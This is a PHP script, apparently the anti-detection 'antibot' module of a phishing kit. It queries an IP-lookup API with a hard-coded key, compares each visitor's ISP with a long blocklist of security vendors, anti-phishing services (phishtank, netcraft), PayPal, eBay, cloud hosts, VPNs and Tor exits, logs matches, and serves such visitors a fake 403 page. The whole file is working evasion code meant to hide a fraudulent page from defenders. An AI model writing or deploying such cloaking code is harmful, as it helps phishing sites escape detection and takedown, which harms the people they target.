<?php

function getisp($cliente) {
	$getip = 'https://extreme-ip-lookup.com/json/'.$cliente.'?key=qMlpjHFJK3Se8qes9f08';
	$curl  = curl_init();
	curl_setopt($curl, CURLOPT_URL, $getip);
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
	$content = curl_exec($curl);
	curl_close($curl);
	$details = json_decode($content);
	return $details -> org;
}

$isp = getisp($cliente);

$banned_isp = array('Peak 10', 'Quasi Networks LTD', 'SC Rusnano', 'GoDaddy.com, LLC', 'Server Plan S.r.l.', 'Linode', 'Blazing SEO', 'Lixux OU', 'Inter Connects Inc', 'Flokinet Ltd', 'LukMAN Multimedia Sp. z o.o', 'PIPEX-BLOCK1', 'IPVanish', 'LinkGrid LLC', 'Snab-Inform Private Enterprise', 'Cisco Systems', 'Network and Information Technology Limited', 'London Wires Ltd.', 'Tehnologii Budushego LLC', 'Eonix Corporation', 'hosttech GmbH', 'Wowrack.com', 'SunGard Availability Services LP', 'Internap Network Services Corporation', 'Palo Alto Networks', 'PlusNet Technologies Ltd', 'Scaleway', 'Facebook', 'Host1Plus', 'XO Communications', 'Nobis Technology Group', 'ExpressVPN', 'DME Hosting LLC', 'Prescient Software', 'Sungard Network Solutions', 'OVH SAS', 'Iomart Hosting Ltd', 'Hosting Solution', 'Barracuda Networks', 'Solar VPS', 'PHPNET Hosting Services', 'DigitalOcean', 'Level 3 Communications', 'softlayer', 'Chelyabinsk-Signal LLC', 'SoftLayer Technologies', 'Complete Internet Access', 'london-tor.mooo.com', 'amazonaws', 'cyveillance', 'phishtank', 'tor.piratenpartei-nrw.de', 'cpanel66.proisp.no', 'tor-node.com', 'dreamhost', 'Involta', 'exit0.liskov.tor-relays.net', 'tor.tocici.com', 'netpilot', 'calyxinstitute', 'tor-exit', 'msnbot', 'p3pwgdsn', 'netcraft', 'University of Virginia', 'trendmicro', 'ebay', 'paypal', 'torservers', 'comodo', 'EGIHosting', 'ebbs.healingpathsolutions.com', 'healingpathsolutions.com', 'Solution Pro', 'Zayo Bandwidth', 'spider.clicktargetdevelopment.com', 'clicktargetdevelopment.com', 'static.spro.net', 'Digital Ocean', 'Blue Coat Systems', 'GANDI SAS', 'roamsite.com', 'ColoUp', 'Westnet', 'The University of Tokyo', 'University', 'University of', 'QuadraNet', 'exit-01a.noisetor.net', 'noisetor.net', 'noisetor', 'vultr.com', 'Zscaler', 'Choopa', 'RedSwitches Pty', 'Quintex Alliance Consulting', 'www16.mailshell.com', 'this.is.a.tor.exit-node.net', 'this.is.a.tor.node.xmission.com', 'colocrossing.com', 'DedFiberCo', 'crawl', 'sucuri.net', 'crawler', 'proxy', 'enom', 'cloudflare', 'yahoo', 'trustwave', 'rima-tde.net', 'tfbnw.net', 'pacbell.net', 'tpnet.pl', 'ovh.net', 'centralnic', 'badware', 'phishing', 'antivirus', 'SiteAdvisor', 'McAfee', 'Bitdefender', 'avirasoft', 'phishtank.com', 'googleusercontent', 'Yahoo! Inc.', 'Google', 'Google Inc.', 'GoDaddy', 'Amazon Technologies Inc.', 'Amazon', 'Top Level Hosting SRL', 'Twitter', 'Microsoft', 'Microsoft Corporation', 'OVH', 'VPSmalaysia.com.my', 'Madgenius.com', 'Barracuda Networks Inc.', 'Barracuda', 'SecuredConnectivity.net', 'Digital Domain', 'Hetzner Online', 'Akamai', 'SURFnet', 'Creative Thought Inc.', 'Fastly', 'Return Path Inc.', 'WhatsApp', 'Instagram', 'Schulte Consulting LLC', 'Universidade Federal do Rio de Janeiro', 'Sectoor', 'Bitfolk', 'DIR A/S', 'Team Technologies LLC', 'Mainloop', 'Junk Email Filter Inc.', 'Art Matrix - Lightlink Inc.', 'Redpill Linpro AS', 'ESET spol. s r.o.', 'AVAST Software s.r.o.', 'Dosarrest', 'Apple Inc.', 'Symantec', 'Mozilla', 'Netprotect SRL', 'Host Europe GmbH', 'Host Sailor Ltd.', 'PSINet Inc.', 'Daniel James Austin', 'RamNode', 'Hostalia', 'Xs4all Internet BV', 'Inktomi Corporation', 'Eircom Customer Assignment', '9New Network Inc', 'Sony', 'Private IP Address LAN', 'Computer Problem Solving', 'Fortinet', 'Avira', 'Rackspace', 'Baidu', 'Incapsula Inc', 'Orange Polska Spolka Akcyjna', 'Infosphere', 'Private Customer', 'SurfControl', 'University of Newcastle upon Tyne', 'Total Server Solutions', 'LukMAN', 'eSecureData', 'Hosting', 'VI Na Host Co. Ltd', 'B2 Net Solutions', 'Master Internet', 'Global Perfomance', 'Fireeye', 'Security', 'Intersoft Internet', 'Voxility', 'Internet-Pro', 'Trustwave Holdings Inc', 'Online SAS', 'Versaweb', 'Liquid Web', 'A100 ROW', 'Apexis AG', 'Apexis', 'LogicWeb', 'Virtual1 Limited', 'VNET a.s.', 'Static IP Assignment', 'TerraTransit AG', 'Merit Network', 'PathsConnect', 'Long Thrive', 'LG DACOM', 'Secure Internet', 'Kaspersky', 'UK Dedicated Servers Limited', 'Customer Network', 'Flokinet', 'Simpli Networks LLC', 'Psychz', 'PrivateSystems Networks', 'ScanSafe Services', 'CachedNet', 'CloudVPN', 'Spark New Zealand Trading Ltd', 'Whitelabel IT Solutions Corp', 'Hostwinds', 'Hosteros LLC', 'HostUS', 'ClientID', 'Server', 'Oracle', 'Unus Inc.', 'Public facing services', 'Virtual Employee Pvt Ltd', 'Dataline Ltd', 'Teksavvy Solutions Inc.', 'UPC Romania Bucuresti', 'TalkTalk Communications Limited', 'British Telecommunications PLC', 'Global Data Networks LLC', 'Online S.A.S.', 'Content Delivery Network Ltd', 'Nobis Technology Group LLC', 'Parrukatu', 'JSC ER-Telecom Holding', 'ChinaNet Fujian Province Network', 'QualityNetwork', 'Vist On-Line Ltd', 'The Calyx Institute', 'Internet Customers', 'OJSC Oao Tattelecom', 'Petersburg Internet Network Ltd.', 'Psychz Networks', 'Udasha', 'Onavo Mobile Ltd', 'Cubenode System SL', 'OVH Hosting Inc.', 'NForce Entertainment B.V.', 'DigitalOcean LLC', 'Glenayre Electronics Inc.', 'Iomart Hosting Limited', 'Digital Energy Technologies Limited', 'Cisco Systems Inc.', 'Vultr Holdings LLC', 'Amazon.com Inc.', 'Web Hosting Solutions', 'Time Warner Cable Internet LLC', 'Internet Security - TC', 'Vertical Telecoms Broadband Networks and Internet Provider', 'Ventelo Wholesale', 'MYX Group LLC', 'France Telecom S.A.', 'Nine Internet Solutions AG', 'Microsoft Azure', 'Choopa, LLC', 'HighWinds Network', 'Amazon.com', 'Bell Canada', 'M247 LTD Frankfurt Infrastructure', 'Spectrum', 'ImOn Communications, LLC', 'Wintek Corporation', 'ServerMania', 'Claro Dominican Republic', '013 NetVision', 'TalkTalk', 'HostDime.com', 'Host1Plus Cloud Servers', 'Amazon Data Services NoVa', 'Google Cloud', 'M-net', 'Digiweb ltd', 'Eir Broadband', 'Plusnet', 'GigeNET', 'ZenLayer', 'NewMedia Express', 'Telegram Messenger Network', 'IQ PL Sp. z o.o.', 'Datacamp Limited', 'Tahoe Internet Exchange (TahoeIX)', 'ITCOM Shpk', 'HEG US');

if (in_array($isp, $banned_isp)) {
	$click = fopen("model/info/info.txt","a");
	fwrite($click,"$cliente --> [Detectado por ISP]"."\n");
	fclose($click);
	header('HTTP/1.0 403 Forbidden');
	die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You dont have permission to access / on this server.</p></body></html>');  
}
?>